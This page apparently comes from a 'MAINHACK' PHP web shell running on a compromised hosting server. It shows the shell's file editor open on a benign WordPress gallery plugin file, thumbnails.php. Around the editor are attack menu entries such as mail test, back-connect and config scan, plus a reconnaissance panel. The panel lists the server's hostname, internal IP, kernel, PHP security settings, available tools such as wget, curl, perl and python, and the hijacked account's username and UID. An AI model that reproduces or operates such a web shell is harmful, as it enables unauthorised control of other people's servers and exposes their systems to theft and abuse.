[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: thumbnails.php
<?php Namespace WordPress\Plugin\GalleryManager; abstract class Thumbnails { static function getSizes($dimensions = False){ $arr_registered_sizes = static::getRegisteredSizes(); $arr_default_sizes = static::getDefaultSizes(); $arr_sizes = Array_Merge($arr_registered_sizes, $arr_default_sizes); if ($dimensions){ $arr_result = Array(); foreach($arr_sizes as $size => $caption){ $dimensions = static::getDimensions($size); $arr_result[$size] = (Object) Array( 'name' => $size, 'caption' => $caption, 'width' => isSet($dimensions->width) ? $dimensions->width : Null, 'height' => isSet($dimensions->height) ? $dimensions->height : Null, 'crop' => isSet($dimensions->crop) ? $dimensions->crop : Null ); } $arr_sizes = $arr_result; } return $arr_sizes; } static function getDefaultSizes(){ /* This filter is documented in wp-admin/includes/media.php */ $default_sizes = apply_Filters('image_size_names_choose', Array( 'thumbnail' => __('Thumbnail'), 'medium' => __('Medium'), 'large' => __('Large'), 'full' => __('Full Size'), )); return $default_sizes; } static function getRegisteredSizes(){ $arr_registered_sizes = get_Intermediate_Image_Sizes(); setType($arr_registered_sizes, 'ARRAY'); $arr_registered_sizes = Array_Flip($arr_registered_sizes); foreach ($arr_registered_sizes as $size => &$caption){ $caption = $size; $caption = Str_Replace(Array('_', '-'), ' ', $caption); $caption = UCWords($caption); $caption = __($caption); } return $arr_registered_sizes; } static function getDimensions($size){ global $_wp_additional_image_sizes; if (isSet($_wp_additional_image_sizes[$size]['width']) && isSet($_wp_additional_image_sizes[$size]['height'])){ $size = (Object) Array( 'width' => $_wp_additional_image_sizes[$size]['width'], 'height' => $_wp_additional_image_sizes[$size]['height'], 'crop' => (bool) $_wp_additional_image_sizes[$size]['crop'] ); } elseif (($width = get_Option("{$size}_size_w")) && ($height = get_Option("{$size}_size_h"))){ $size = (Object) Array( 'width' => $width, 'height' => $height, 'crop' => (bool) get_Option("{$size}_crop") ); } else return (Object) Array(); return $size; } static function getDropdown($attributes){ $defaults = Array( 'name' => '', 'class' => '', 'selected' => False, 'class' => '' ); $attributes = Array_Merge($defaults, $attributes); setType($attributes, 'OBJECT'); $html = sprintf('<select name="%s" id="%s" class="%s">', $attributes->name, $attributes->id, $attributes->class); foreach (static::getSizes(True) as $size){ $html .= sprintf('<option value="%s" %s>', $size->name, selected($attributes->selected, $size->name, False)); $html .= $size->caption; !empty($size->width) && !empty($size->height) && $html .= sprintf(' (%u x %u px)', $size->width, $size->height); $html .= '</option>'; } $html .= '</select>'; return $html; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697